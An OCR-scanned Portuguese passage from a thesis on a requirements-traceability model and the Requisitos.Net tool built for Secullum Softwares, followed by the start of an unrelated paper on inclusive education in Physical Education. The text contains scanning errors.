desta forma, a analise de impacto de mudancgas. Uma alternativa, neste caso, seria cridr atri-

butos nos elos entre estorias e requisitos, que definam o grau de importancia de cada ligacao.
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3.3 CADASTRAMENTO DE ARTEFATOS

Dentre as dificuldades encontradas na utilizagao do cadastro de artefatos, pode-se

destacar o fato de que os artefatos s6 podem ser cadastrados um a um, respeitando padroes

de nomenclatura pré-estabelecidos, sem possuir nenhum tipo de integracéo com softwares de
controle de repositorio, como, no caso da Secullum, a ferramenta SVN. Este processo, aléem de
demandar tempo, abre margem para a duplicidade de registros, seja por erro de grafia ou por

descumprimento da nomenclatura.

3.4 CADASTRAMENTO DE ELOS ENTRE ESTORIAS E ARTEFATOS

A segunda parte da formacgao de elos entre requisitos e artefatos de desenvolvimento

se da através da ligagcéo entre estorias e artefatos. Na ferramenta Gerenciador de Requisitos,
esta funcionalidade ¢ feita de maneira manual, item a item, demandando muito tempo da equi-
pe de desenvolvimento. Além disso, o tempo aumenta na medida em que novos artefatos sao
incorporados a ferramenta, ja que o usuario precisa localizar o artefato desejado em uma lista

com todos os itens disponiveis.

A demanda de tempo para este processo se acentua, na medida em que se deseja
cadastrar varias ligagoes de artefatos e estorias em um unico momento. Uma situagcao em qu
se faz necessario cadastrar elos consecutivamente é quando se efetua um commit de deter
nada estoéria, em que nele séo alterados varios artefatos.

Alem do quesito tempo, a fungdo de cadastramento de elos entre estérias e artgfatos

nao permite a definicao de quao alterado foi cada artefato para que a estoria seja atendida, e




por consequéncia, o requisito a ela vinculado. Uma alternativa, neste caso, seria implementar na
ferramenta um campo adicional para ponderar o impacto aplicado ao artefato em decorréncia

da estoria, similar ao que foi sugerido no caso dos registros de elos entre estorias e requisitos.

3.5 ANALISE DE IMPACTO DE ALTERACOES EM REQUISITOS

Faz parte das atividades de rastreabilidade de requisitos, analisar o impacto de altera-
coes em requisitos com relacao a artefatos relacionados, conforme mencionado na secao 2.
Por este motivo, a ferramenta Gerenciador de Requisitos disponibiliza uma maneira para que
0 usuario possa analisar o impacto que uma mudanca em determinado requisito podera ter
em relacao aos artefatos relacionados. Porém, como o requisito nao tem ligagédo direta com os
artefatos na ferramenta, é preciso localizar, inicialmente, a estoria relacionada ao requisito que
se deseja alterar. Para isso, o usuario precisa, primeiramente, localizar a estoria utilizada para
atender o requisito, e entao, repetir a busca, pesquisando, neste momento, ligacoes existentes
entre a estoria e seus artefatos. Desta maneira, apos executar os dois passos anteriormente ci-
tados, é possivel identificar os nomes dos artefatos que foram modificados para o atendimento
das especificagoes pertinentes ao requisito analisado. Nao obstante, a ferramenta nao especi-

fica o impacto sofrido por cada artefato para que o requisito pudesse ser atendido, nem tanto,

uma maneira rapida de localizar quais outros requisitos alteraram cada artefato.
Com base nisso, € possivel observar que a ferramenta Gerenciador de Requisitos, utiliza-
da atualmente na Secullum Softwares, mesmo disponibilizando algumas fungdes necessarias as

atividades de rastreabilidade de requisitos, ndo possui caracteristicas importantes como:




4 MODELO PARA
RASTREABILIDADE DE
REQUISITOS

*  Suporte a pre-rastreabilidade;

+  Controle sobre alteragdes nos requisitos durante o processo de desenvolvimento;

+  Definicbes de relevancia de cada elo em relacéo a cada item.

Além disso, as atividades disponiveis na ferramenta demandam muito tempo para se-
rem executadas. Com isso a equipe de desenvolvimento precisa reservar tempo para desen-
volver estas atividades, diminuindo assim, o tempo disponivel para desempenhar outras tarefas

de desenvolvimento, podendo comprometer a produtividade da equipe.

Nesta secao sao avaliadas as principais funcionalidades identificadas em ferramentas
com suporte a rastreabilidade de requisitos disponiveis no mercado, frente a ferramenta Ge-
renciador de Requisitos, atualmente utilizada pela empresa. A partir desta analise, um modelo
de ferramenta de rastreabilidade de requisitos € apresentado, levando em consideracao a
bibliografia apresentada, juntamente com as funcionalidades presentes nas ferramentas dispo-
niveis no mercado, aliado ao contexto de desenvolvimento de software adotado pela Secullum
Softwares.

O INCOSE (International Council on Systems Engineering) (INCOSE, 2008) apresenta
uma lista comparativa entre algumas das ferramentas mais importantes para gerenciamento de
requisitos. Entre elas, destacam-se:

*  Caliber: segundo Gengivir (2009), a Caliber contém recursos para a manutengéo e

o rastreamento de alteragoes de requisitos e a elaboracao de relatorios;




. Doors: sua finalidade é “otimizar a comunicagao, colaboragao e verificacao de
requisitos em toda a organizacéo e em sua cadeia de fornecimento” (IBM, 2014).
. Requisite Pro: “uma ferramenta de gerenciamento de requisitos e casos de uso em

equipes de projeto” (IBM, 2014).

Um resumo da pesquisa do INCOSE sobre as ferramentas anteriormente mencionadas,
juntamente com a avaliagéo da ferramenta Gerenciador de Requisitos frente a estas caracte-
risticas pode ser visualizada na tabela 2. Enquanto que “A” significa que a ferramenta atende a
funcionalidade analisada, “PA” significa que a ferramenta parcialmente atende a funcionalida-

de, ja “NA”, indica que a ferramenta ndo atende a funcionalidade analisada.

Item Caliber Doors Requisite Pro Gerenciador de Requisitos

Captura/ldentificagdo de requisitos

Enriquecimento de documentagao A A A NA
Mudanca na documentacao A PA A NA
Identificador manual de requisitos A A A A
Modo em lote de atualizagédo de vinculos A PA A NA
Classificagao de requisitos A A A NA
Fluxo de requisitos

Derivacao de requisitos A A A NA
Alocagéo de desempenho aos requisitos A A A NA
Vinculo de requisitos com elementos do sistema A A A A
Anotacao de requisitos A A A PA
Andlise de rastreabilidade /
Visibilidade de vinculos com a implementacao A A A PA
Verificacao de requisitos A A A PA

Tabela 2 — Comparagéo entre ferramentas com suporte a rastreabilidade de requisitos
Fonte: O Autor
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Com base na Tabela 2, pode-se observar que a ferramenta Gerenciador de Requisitos
ndo atende a maioria das caracteristicas apontadas como importantes para uma ferramenta de
gerenciamento de requisitos. Dentre as caréncias da ferramenta Gerenciador de Requisitos, des-

tacam-se as funcionalidades de controle de mudancas nos requisitos e criagao de elos em lote.

4.7 NECESSIDADES DO CONTEXTO DE DESENVOLVIMENTO

Com base no contexto de desenvolvimento de software, identificado na sessao 2, sao
acrescentadas ao modelo proposto, algumas caracteristicas importantes a ser implementadas
em uma ferramenta de rastreabilidade de requisitos. Estas caracteristicas foram escolhidas a
partir de um levantamento com a equipe de desenvolvimento da empresa Secullum Softwares,

dentre elas, pode-se citar:

*« Alintegracao com ferramentas de versionamento, para que seja possivel agilizar o
cadastramento de artefatos e elos entre estes e estorias;
* Autilizacao de estorias como elo entre requisitos e artefatos;

* A visualizagéo rapida de elos através de ligagbes entre estorias e requisitos e/

ou estérias e artefatos agilizando o tempo no momento da analise de impacto de

alteracoes.

4.2 MODELO PROPOSTO

Vislumbrando atender as funcionalidades e caracteristicas, referentes ao gerenciafnen-

to de requisitos, abordadas neste trabalho, um modelo de rastreabilidade de requisitos ¢ pro-



posto. Este modelo serve de base para o desenvolvimento da ferramenta para rastreabilidade
de requisitos, implementada na empresa Secullum Softwares. Desta maneira, abaixo sao lista-
das as funcionalidades que compdem o modelo:

*  Cadastramento de usuarios e equipes de desenvolvimento;

«  Cadastramento de Projetos;

«  Cadastramento de Requisitos;

«  Cadastramento de Estérias;

«  Cadastramento de Artefatos;

« Ligacoes entre Artefatos e Estorias;
» Ligacoes entre Requisitos e Estorias;

*  Visualizacao de ligacoes entre Requisitos, Estérias e Artefatos.

Com base na implementacao das funcionalidades acima mencionadas, acredita-se
fornecer uma ferramenta de suporte a rastreabilidade de requisitos que atende as principais
praticas de rastreabilidade de requisitos utilizadas atualmente, sem deixar de lado, o contexto

de desenvolvimento aplicado na empresa. O esquema presente na Figura 3 representa grafica-

mente as funcionalidades acima mencionadas, as quais sdo descritas com maior profundidade
a seguir:
»  Cadastramento de usuarios e equipes de desenvolvimento: com o intuito de ag-
mentar a seguranga do software, sugere-se a criacao de usuarios e equipes/de
desenvolvimento. Estas informacoes sao utilizadas posteriormente, automatizando

alguns processos, como projeto atual de uma equipe, por exemplo;




Cadastramento de Projetos: fundamental para o modelo de desenvolvimento ado-
tado, nele sao armazenadas informagdes de equipe responsavel, nome e periodo
que o projeto ira ocorrer;

Cadastramento de Requisitos: informacao essencial em uma ferramenta de rastre-
abilidade, o cadastro de requisitos deve possuir, além de opcdes basicas como
descrigao e projeto, um espacgo para acrescentar documentos, historico de modifi-
cacoes e um controle sobre as versoes dos requisitos;

Cadastramento de Estodrias: termo utilizado no contexto da empresa, devido a uti-
lizacao do Scrum, o cadastro de estorias age como intermediario na ligacao en-
tre requisitos e artefatos. No cadastro de estorias, além das informacoes basicas
como descri¢cao, projeto e produto, também é possivel a adicao de referéncias a
requisitos, evitando deslocamentos desnecessarios;

Cadastramento de Artefatos: buscando facilitar o cadastramento de artefatos, o
mesmo ¢ feito de duas maneiras. A primeira maneira é cadastrar o artefato manu-
almente, acrescentando informacoes basicas como o caminho e a descri¢cao. Ja a
segunda maneira, € a inclusdo automatica através da integracéo com a ferramenta
de controle de repositério SVN;

Ligagdes entre Artefatos e Estérias: a fim de diminuir o tempo demandado pa
cadastramento de elos entre artefatos e estorias, este procedimento é feito de pa-
neira semiautomatica. Para isso é utilizada a ferramenta de versionamento e repo-
sitério SVN, bastando ao usuario relacionar o commit efetuado na ferramenta SVN

a estoria;




+  Ligagdes entre Requisitos e Estorias: 0 vinculo entre requisitos e estorias pode ser
feito de duas maneiras. A primeira maneira € no momento do cadastramento das
estorias, ja vincular os requisitos a ela relacionados. A segunda maneira € efetuar

a ligacao manualmente, informando o requisito, a estoria e a relevancia do elo;

»  Visualizacao de ligagoes entre Requisitos, Estorias e Artefatos: buscando diminuir
o tempo de procura de elos entre requisitos, estorias e artefatos, uma tabela com
as ligacoes € apresentada ao usuario. Nesta tabela, links que direcionam o usuario
para listagem de ligacoes, estao presentes, para que, assim, o usuario nao precise
preencher filtros repetidamente, nem tanto, ficar passando de tela em tela, para
obter as informacodes desejadas. Alem disso, a importancia dos elos € destacada

nestas tabelas, para uma melhor compreensao e posterior analise de impacto por

parte do usuario.

Basc Objctos Elos Analisc de Impacto
Equipes Reguisilus Requisitos x Estdrlas Requisitos x Estorias e
Usudrios Cstérias Estdrias x Artefatos Artefatos
f Artefat Estorias x Requisitos e
Projetos oS Artefatos
Artefatos x Requisitos e
Estdrias
Contexto da empresa Especificacao Relevancia dos Elos Sintese de Informacbes
Automatizacio Criacdo de Elos em lote

Figura 3 — Representacéo grafica do modelo proposto
Fonte: O Autor




5 FERRAMENTA
REQUISITOS.NET

Com base nas funcionalidades acima apresentadas, uma ferramenta foi desenvolvida,
desta maneira, € possivel avaliar se o0 modelo proposto adequa-se ao contexto de desenvolvi-
mento utilizado na empresa, em que se utiliza do modelo incremental de desenvolvimento aliado

as praticas do Scrum. Na proxima secao, esta ferramenta sera apresentada com mais detalhes.

A ferramenta Requisitos.Net foi desenvolvida a partir do modelo proposto no capitulo
anterior, com o objetivo de disponibilizar a seus usuarios, uma ferramenta para rastreabilidade
de requisitos mais completa em relagao a ferramenta Gerenciador de Requisitos, atualmente
utilizada na empresa. Para isso, a ferramenta Requisitos.Net apresenta, dentre suas principais
caracteristicas:

*  Maior espaco para especificagao dos requisitos, atraves de anexos de documen-

tos, tais como, historicos de e-mail, desenhos de telas, entre outros;

*  Histérico de modificagdes em requisitos;

»  Cadastramento de elos entre requisitos;

+  Cadastramento de artefatos de desenvolvimento e criagdo de elos com estorias de

maneira semiautomatica, através da integracao com a ferramenta de controle de

repositorio SVN;
«  Area para analise de impacto de mudancas em requisitos, estorias e artefatos/de
maneira compactada;
. Diminuicao do tempo para execugéo de tarefas em relacao a ferramenta Geren-

ciador de Requisitos.
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Nesta secao, sdo apresentadas as principais funcionalidades presentes na ferramenta
Requisitos.Net, relacionando-as com a bibliografia e 0 modelo proposto para a rastreabilidade
de requisitos, tratadas anteriormente neste estudo. Além disso, sdo comentadas as semelhan-

cas entre a ferramenta Requisitos.Net e a ferramenta Gerenciador de Requisitos.

5.1 CADASTRAMENTO DE USUARIOS E EQUIPES DE DESENVOLVIMENTO

Com o objetivo de localizar os responsaveis por alteragoes, utiliza-se na ferramenta
Gerenciador de Requisitos, o conceito de usuario, todavia, como no contexto da empresa, al-
gumas operagdes como a criacao e modificacao de requisitos sao feitas em grupo, apenas um
usuario fica responsavel pelas modificacoes. Para resolver essa situagao, incorporou-se na fer-
ramenta Requisitos.Net o conceito de equipe de desenvolvimento, assim, quando um usuario
da equipe faz alteragdes na ferramenta, toda a equipe podera responder por estas alteracoes,
visto que, as alteractes apenas sao aplicadas a ferramenta, apos aceitacao da especificacao

pela da equipe de desenvolvimento.

5.2 CADASTRAMENTO DE PROJETOS

O cadastramento de projetos, necessario dentro do modelo de desenvolvimento adota-
do pela empresa, ja vem sendo utilizado na ferramenta Gerenciador de Requisitos, atualmente
utilizada na empresa. Devido a esta situacao, na ferramenta Requisitos.Net, esta funcionalj
de foi mantida, com o diferencial de ser utilizada automaticamente como filtro de informagdes,

juntamente com as informacodes do usuario conectado.




5.3 CADASTRAMENTO DE REQUISITOS

Essencial em uma ferramenta de rastreabilidade de requisitos, o cadastro de requisitos,
foi apontado na secao 3, como uma das dificuldades encontradas na utilizagao da ferramenta
Gerenciador de Requisitos, devido a pobreza na especificagao dos requisitos. Com base nesta
situagao, a ferramenta Requisitos.Net disponibiliza a seus usuarios, a possibilidade de anexar
documentos a requisitos, estes documentos podem ser, por exemplo, esbogos de tela, histo-
ricos de e-mail e quaisquer outros documentos que julgar-se relevante, com a possibilidade
de visualiza-los caso necessario, utilizando desta maneira, a pratica de pré-rastreabilidade,
mencionada na segao 2 deste estudo.

Com o objetivo de atender as praticas de rastreabilidade de requisitos, apresentadas
na bibliografia analisada, mais especificamente a pratica de rastreabilidade horizontal, & dispo-
nibilizado na ferramenta Requisitos.Net, um historico sobre as modificagdes no requisito duran-
te seu ciclo de vida. Além disso, a ferramenta Requisitos.Net permite indicar o tipo do requisito
que esta sendo cadastrado, com a possibilidade de ser Funcional, Nao funcional ou Nao iden-
tificado. Desta maneira, a ferramenta possibilita a classificagao de requisitos que, conforme
mencionado na secao 3, € uma pratica utilizada nas principais ferramentas de rastreabilidade

de requisitos disponiveis no mercado.

5.4 CADASTRAMENTO DE ESTORIAS

O cadastro de estorias, conforme ja mencionado, se faz necessario dentro do mgdelo

de desenvolvimento adotado pela empresa, servindo de intermediaria na ligagao entre rgquisi-
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tos e artefatos. Por este motivo, essa funcionalidade esta presente na ferramenta Gerenciador
de Requisitos e foi incorporada a ferramenta Requisitos.Net, a diferenca entre as funcionalida-

des apresentadas nas duas ferramentas € que, na ferramenta Requisitos.Net & possivel, dentro

do cadastro da estoria, vincular um ou mais requisitos a estoria, sem a necessidade de acesso

a outras telas.

5.5 CADASTRAMENTO DE ARTEFATOS

Tendo em vista a dificuldade na utilizacéo da funcionalidade de cadastro de artefatos
apresentada na ferramenta Gerenciador de Requisitos, mencionada na secéao 3, a ferramenta
Requisitos.Net disponibiliza ao usuario duas maneiras de efetuar este processo. A primeira de-

las ocorre de maneira manual, conforme funcionalidade ja existente na ferramenta Gerenciador

de Requisitos, a segunda maneira ocorre de forma automatica, através da integracao com a
ferramenta de controle de repositorio SVN.
Desta forma, a maneira de cadastramento de artefatos mais utilizada na ferramenta

Requisitos.Net € a automatica, a qual ocorre no momento do cadastro de elos entre estoérias e

artefatos, apresentada na subsecgao 5.7 desta secéo.

5.6 CADASTRAMENTO DE ELOS ENTRE REQUISITOS

Conforme observado na tabela 4 da secao 4, varias ferramentas disponiveis no
cado apresentam a funcionalidade de derivacao de requisitos, em que varios requisitos com-
plementam as funcionalidades de um requisito. Nesse sentido, a ferramenta Requisitgs.Net

possibilita a ligacao entre requisitos, nao disponivel na ferramenta Gerenciador de Requisitos.
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5.7 CADASTRAMENTO DE ELOS ENTRE REQUISITOS E ESTORIAS

A funcionalidade de criacao de elos entre requisitos e estorias € uma necessidade apre-

sentada pelo modelo de desenvolvimento utilizado na empresa, em que a estoria serve como

intermediaria na ligacao entre requisitos e artefatos. Sendo assim, a ferramenta Requisitos.Net
incorporou esta funcionalidade, ja presente na ferramenta Gerenciador de Requisitos, porém
com o diferencial de permitir ao usuario informar a relevancia da ligagéo, a qual pode ser defini-
da como Baixa, Média ou Alta, aprimorando, desta maneira, o processo de analise de impacto

de modificacoes, apresentada na secao 5.9.

5.8 CADASTRAMENTO DE ELOS ENTRE ESTORIAS E ARTEFATOS

Com o objetivo de concluir o elo entre requisitos e artefatos, faz-se necessario a criacao

de elos entre estorias e artefatos, desta maneira, sera possivel analisar o impacto de mudan-
cas em requisitos com relacao aos artefatos relacionados. Por fazer parte das necessidades

apresentadas pelo modelo de desenvolvimento da empresa, esta funcionalidade esta presente

na ferramenta Gerenciador de Requisitos, porém, possibilitando apenas, a execu¢ao destas
atividades de maneira manual, ja na ferramenta Requisitos.Net, esta disponivel uma maneira
semiautomatica de executar estas tarefas, através da integragdo com a ferramenta de versio

namento SVN.
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5.9 ANALISE DE IMPACTO DE MUDANCAS EM REQUISITOS

Fundamental dentro do contexto da rastreabilidade de requisitos, a analise de impacto

de mudancas em requisitos €, conforme mencionado na se¢ao 3, uma das dificuldades apon-

tadas na utilizagao da ferramenta Gerenciador de Requisitos, ja que esta nao possuiu uma
area especifica para apoio a analise de impacto. Por conta disso, a ferramenta Requisitos.Net
disponibiliza, em uma so6 tela, informagdes dos vinculos entre requisitos, estérias e artefatos,
com o intuito de facilitar a analise de impacto de mudancas.

Conforme pode ser visualizado na Figura 4, a tela de analise de impacto apresenta trés
possibilidades de filtros, sendo eles, Requisito, Estoria e Artefato. Apos selecao do filtro dese-

jado, sao carregados os itens referentes ao filtro para selecéo, por exemplo, caso o usuario

opte pelo filtro Requisito, os itens disponiveis para selecao na combo Item, serao os requisitos
cadastrados na ferramenta.
Apos selecao do filtro desejado, ao clicar em Atualizar, sao exibidas trés tabelas con-

tendo as ligacoes relacionadas ao filtro selecionado, desta maneira, caso o usuario selecione,

por exemplo, um requisito no filtro, sao exibidas as ligacdes do requisito com outros requisitos,
estorias e artefatos. Caso preferir, o usuario podera, clicando em qualquer item das tabelas,
recarregar a tela utilizando o item selecionado como filtro, facilitando desta maneira, a navega

cao entre os itens.
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Figura 5.1 — Tela de analise de impacto
Fonte: O Autor




6 AVALIACAO DA
FERRAMENTA
REQUISITOS.NET

Além disso, a funcionalidade de analise de impacto presente na Requisitos.Net, apre-
senta o numero de ligacdes que cada item possui, revelando assim, quais itens sao mais utili-
zados, para que assim seja dispensando um cuidado maior nestes casos.

Desta maneira, acredita-se que a ferramenta Requisitos.Net apresenta as caracteris-
ticas pertinentes a uma ferramenta de rastreabilidade de requisitos, com base na bibliografia

analisada e no modelo de rastreabilidade de requisitos, proposto na sessao 4.

Para que fosse possivel analisar se a ferramenta Requisitos.Net atende as necessida-
des da empresa com relacao a rastreabilidade de requisitos, um questionario foi elaborado.
Neste, sao comparadas as funcionalidades entre a ferramenta atual e a ferramenta proposta,
para que seja possivel avaliar a adequacao do modelo para rastreabilidade de requisitos pro-
posto, ao contexto de desenvolvimento da empresa. Desta maneira, a Tabela 3 apresenta o
resumo das respostas apresentadas pelos usuarios em relagéo as ferramentas Gerenciador de

Requisitos e Requisitos.Net.”

Questao Gerenciador de Requisitos Requisitos.Net
Tempo para realizacao de tarefas - E mais rapida
Satisfagao em relacdo ao cadastro de Requisitos, Estorias e Artefatos Muito insatisfeito Satisfeito
Satisfagao em relagéo a criacao de Elos Insatisfeito Satisfeito
Satisfagao em relagéo a andlise de impacto Muito insatisfeito Satisfeito
Informagdes suficientes para analise de impacto Nao Sim

Tabela 3 — Resumo das respostas em relagao as ferramentas
Fonte: O Autor




7 CONCLUSAO

Com base nisso, acredita-se que 0 modelo proposto para avaliar o impacto de modifica-
coes em requisitos, estoérias e artefatos, € mais eficiente do que o modelo adotado na ferramen-
ta Gerenciador de Requisitos, atualmente utilizada na empresa. Além disso, pode-se observar
que, as funcionalidades de cadastro e criacao de elos entre requisitos, estorias e artefatos, séo
mais eficientes na ferramenta Requisitos.Net em relagao a ferramenta Gerenciador de Requi-
sitos. Deste modo, acredita-se que esta situagao foi resultado do enriquecimento da especifi-
cacao dos requisitos e da possibilidade de cadastramento e ligagédo de artefatos com estorias
em lote, diminuindo consideravelmente o tempo dispensado para execug¢ao destas atividades.

Contudo, devido ao numero de usuarios e pelo tempo de utilizacdo, nao se pode afirmar
com certeza que a ferramenta Requisitos.Net adequa-se totalmente ao contexto de desenvol-
vimento da empresa Secullum Softwares. Nao obstante, observa-se que as dificuldades apon-
tadas na utilizacao da ferramenta Gerenciador de Requisitos, conforme sessao 3, foram resol-

vidas na ferramenta Requisitos.Net, solucionando, desta maneira, a problematica abordada.

Neste estudo, foi desenvolvido um modelo de rastreabilidade de requisitos para a em-
presa Secullum Softwares. Este modelo foi construido levando em consideracao o contexto agil
de desenvolvimento utilizado na empresa, que adota Scrum, em conjunto com o estudo envgl-
vendo ferramentas disponiveis no mercado, a ferramenta atualmente utilizada na empresa, /e a
bibliografia relacionada as praticas de rastreabilidade de requisitos.

Neste contexto, o modelo tem por objetivo incorporar caracteristicas relevantes da rastre-

abilidade de requisitos e solucionar as caréncias identificadas na ferramenta atualmente utjlizada




pela empresa. Deste modo, o modelo de rastreabilidade de requisitos proposto foi dividido em
quatro partes, sendo a primeira delas correspondente aos cadastros de equipes, usuarios e
projetos, necessarios no contexto da empresa. A segunda corresponde ao cadastro de requi-
sitos, estorias e artefatos, visando enriquecer a especificacao de requisitos e automatizacao de
alguns cadastros. A terceira parte corresponde a criacao de elos, em que se objetiva explicitar a
relevancia dos elos e criar elos em lote, aumentando a agilidade do processo. A quarta, e ultima
parte, corresponde a analise de impacto em modificacoes, em que se busca reunir as informa-
coes atreladas a um objeto em uma unica tela, facilitando a visualizagéo dos elos.

Com base no modelo proposto, foi desenvolvida uma ferramenta, denominada Requisi-
tos.Net, com o intuito de avaliar a adequagao do modelo frente ao contexto da empresa. Sendo
assim, apos sua utilizagao, um questionario foi aplicado, a fim de avaliar suas percepgoes em
relacao ao modelo e a ferramenta propostos.

A partir da analise do questionario, pode-se verificar que a funcionalidade de analise de
impacto em modificagdes foi bem aceita pelos usuarios da ferramenta Requisitos.Net, todavia,
a funcionalidade necessita de um periodo mais longo de utilizagdo, para que seja possivel
avaliar sua eficiéncia no contexto de desenvolvimento analisado. Isso se mostra relevante,

visto que a analise de impacto em modificagcdes € uma pratica pouco explorada pela empresa

atualmente. No entanto, pela avaliacao da nova ferramenta, ha evidéncias de que a mesma
solucionou as deficiéncias apontadas na especificagcao de requisitos. Porém, entende-se gue
devido ao tempo limitado para avaliagao da ferramenta, € possivel que algumas necessidades

nao tenham sido identificadas pelos usuarios.
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Tambeém foi percebido que as caréncias apresentadas na Gerenciador de Requisitos, em
relagdo ao tempo para execugao das atividades de cadastro e criacao de elos entre estorias e
artefatos, foram resolvidas na ferramenta Requisitos.Net. Isto se da devido a integracdo com o

software de controle de repositorio SVN, que permite que os artefatos sejam criados automatica-

mente junto a criagao de elos entre requisitos e artefatos. Dessa forma, esta tarefa passou a ser
realizada de maneira simplificada, sem a necessidade de repeticao de procedimentos.

De uma maneira geral, o objetivo deste estudo foi alcancado, através do desenvolvi-
mento do modelo e por consequéncia, da ferramenta, solucionando a problematica da empre-
sa em relacao a rastreabilidade de requisitos. Portanto, acredita-se que o modelo proposto
neste trabalho, além de atender as demandas da Secullum Softwares, pode servir de ponto de

partida em estudos futuros referentes a execugao das atividades de rastreabilidade de requisi-

tos em empresas que adotam as praticas do Scrum em equipes de desenvolvimento.
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0 presente trabalho aborda questdes histéricas e sociopoliticas da Educacao Inclusiva, enfatizando a Educacao
Fisica e questionando quais foram as implicacdes geradas pelas politicas inclusivas em uma Escola Municipal
de N.H. nos Ultimos quinze anos. Objetiva-se identificar como era a realidade da escola no periodo da im-
plementacao da Lei n° 9.394/96 (LDB), comparando-se com a atualidade. A pesquisa sequiu o paradigma
qualitativo com o objetivo observacional descritivo, caracterizando-se como um estudo de caso, abrangendo
como sujeitos de estudo alunos, ex-alunos, responsdveis e membros da escola. Para a coleta dos dados, rea-
lizou-se a observacdo direta na escola, entrevistas semiestruturadas, anotacdes no didrio de campo e andlise
de documentos. Através da andlise, evidenciou-se nos resultados que as politicas inclusivas provocaram uma
melhora na efetivacdo dos direitos legais e nas condicdes das escolas. As implicagdes mais relevantes se refe-
rem 3 atuacao conjunta do AEE com o ensino regular e, sobretudo, a viabilizacao da interacao dos alunos nas
aulas, possibilitando aos alunos com deficiéncias o direito de se desenvolverem integralmente. Desta forma,
conclui-se, que apesar da distancia entre a realidade atual e o que fora idealizado pelas politicas, elas podem
ser consideradas efetivas no que se propuseram, tendo em vista as grandes mudangas constatadas.
Palavras-chave: Politicas educacionais. Inclusdo escolar. Educacdo Fisica.

ABSTRACT

This paper discusses historical and socio-political issues of Inclusive Education, emphasizing the Physical Educa-
tion and questioning what were the implications generated by inclusive policies in @ Municipal School N.H. in
the last fifteen years. The objective is to identify how was the school of reality in the period of implementation
of Law No. 9.394 / 96 (LDB), compared with the present. The research followed the qualitative paradigm
with descriptive observational objective, characterized as a case study, covering as subjects of study students,
former students, parents and quardians and members responsible for school. To collect the data, there was
direct observation in school, semi-structured interviews, notes in field diary and document analysis. Through
the analysis, it was shown in the results that inclusive policies led to an improvement in the enforcement of
legal rights and the conditions of the schools. The most significant implications refer to joint efforts of AEE with
reqular education, and especially the viability of student interaction in the classroom, allowing students with
disabilities the right to develop fully. Thus, it is concluded that despite the distance between the current reality
and which was designed by the policies, they can be considered effective when it proposed, in view of the
major changes observed.

Keywords: Educational politics. School inclusion. Physical Education.




INTRODUCAO

Historicamente, a pessoa com deficiéncia possui dificuldades em exercer seu papel de
cidadao devido ao preconceito que sempre sofreu e por ser considerada invalida e ou segre-
gada do convivio social, mesmo que prove o contrario (SENAC, 2003).

Mas em um prisma mais recente, gracas aos direitos conquistados durante as décadas
de 1980 e 1990, surgiram as primeiras discussodes e implantagcdes do processo de inclusao
na sociedade, tendo como principal objetivo do movimento a promog¢ao da participagcao so-
cial efetiva destes individuos (SASSAKI, 2003). Desse modo, ao pensarmos sobre o contexto
educacional vivenciado hoje, nos defrontamos com debates significativos referentes a inclusao
escolar, sendo que o tema por si so ja apresenta elementos relevantes, porém, torna-se ainda
mais complexo quando o relacionamos as politicas educacionais, a situagao de escolarizacao
no pais e ao carater excludente da sociedade contemporanea (MARTINEZ, 2007).

Nesse contexto, Costa (2010) defende que ao pensarmos a escola no novo milénio,
devemos imagina-la nas multiplas possibilidades que esta tende a oferecer ao educando, e
para tanto, € papel da escola valorizar as diferencas, a singularidade, abracgar a diversidade na
pluralidade e respeitar principios morais.

Dessa forma, é imprescindivel destacar a importancia da Educacao Fisica no processo

de inclusao escolar, sendo diversos os beneficios que a pratica consciente que a disciplina

pode acarretar. Assim, ao compreendé-la como um componente curricular que influencia/o
desenvolvimento cognitivo, afetivo e social do sujeito, deve-se manter atencao a inclusao/de
todos os alunos em suas propostas pedagogicas (BETTI; ZULIANI, 2002).

Atualmente, sdo muitas as agdes e praticas realizadas nas politicas publicas em pfol de

uma escola inclusiva, entretanto, o que cabe questionarmos, é se estas propostas inclusivas




SENVOLVIMENTO

estao realmente sendo efetivas e incisivas de modo a influenciarem a formagao dos alunos.
Sera que as politicas estdo cumprindo com seus objetivos e sendo benéficas na formacao
escolar e cidada dos alunos? Como era a realidade encontrada pelos alunos com deficiéncias
no que diz respeito as praticas realizadas na escola e nas aulas de Educacao Fisica? Modi-
ficou-se algo? As praticas inclusivas realizadas nas aulas de Educagao Fisica sao coerentes
com o plano de ensino da escola? A escola, os professores e 0s coordenadores estao prepa-
rados para lidar e incluir alunos com deficiéncias? Tais perguntas sdo as grandes questbes
que busco responder-me neste trabalho, e por meio desta pesquisa, vir também a elucidar tais
questionamentos junto a sociedade, a comunidade escolar e toda rede de ensino.

Desta forma, vislumbro realizar uma contextualizacao histérica da realidade escolar do

municipio, utilizando as percepcdes dos alunos com deficiéncias matriculados e egressos,

familiares, professores e coordenadores. Pretende-se, analisando as implicagcoes da imple-
mentacao das politicas de educacao inclusiva, verificar de forma conjunta as condigoes, difi-
culdades e facilidades vivenciadas no periodo em que os alunos estiveram inseridos na rede

de ensino, investigando, assim, como foi seu ciclo escolar, desde a insercao até a conclusao

de sua formacao escolar (até 15 anos, aproximadamente).

No decorrer da histéria é possivel perceber que a inclusao das pessoas com deficjen-
cia no cenario do ensino sempre foi e ainda € um grande desafio. Um dos entraves parg que
a inclusao ocorra, € o fato de sermos uma sociedade inserida em um sistema capitalista que

prioriza a produtividade. Assim, as pessoas com deficiéncias sao vistas como “improdutivas”,
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nao sendo considerados merecedores de acdes que possibilitem sua maior insercao no mundo

da equidade social (DA COSTA JUNIOR; DE MIRA COSTA, 2014).

2.1 ASPECTOS HISTORICOS, SOCIOPOLITICOS E CONCEITUAIS DA IM-
PLEMENTACAO DE POLITICAS DE EDUCACAO INCLUSIVA NO BRASIL

Mantoan (2010) destaca que as diferencas culturais, sociais, étnicas, religiosas, de gé-
nero, enfim, a diversidade humana, é cada vez mais desvelada e destacada na humanidade,
se mostrando imprescindivel para se entender como aprendemos e como compreendemaos o
mundo e a nés mesmos.

Em um enfoque histoérico, o acolhimento de pessoas com deficiéncias no Brasil, desde
o século XIX, tendo inicio na época do Império, com a criacao de duas instituicoes: o Imperial
Instituto dos Meninos Cegos, em 1854 e o Instituto dos Surdos Mudos, em 1857, ambos no Rio
de Janeiro. No inicio do século XX é fundado o Instituto Pestalozzi, em 1926, instituicao voltada
as pessoas com deficiéncia mental; em 1954, € fundada a primeira Associacao de Pais e Ami-
gos dos Excepcionais (APAE) (BRASIL, 2008, p. 6).

Pertinente aos aspectos legais e juridicos, ja apontando para um inicio aos conceitos
atuais de inclusao, em 1961 o atendimento educacional as pessoas com deficiéncia passa a
ser fundamentado pelas disposicoes da Lei de Diretrizes e Bases da Educagao Nacional
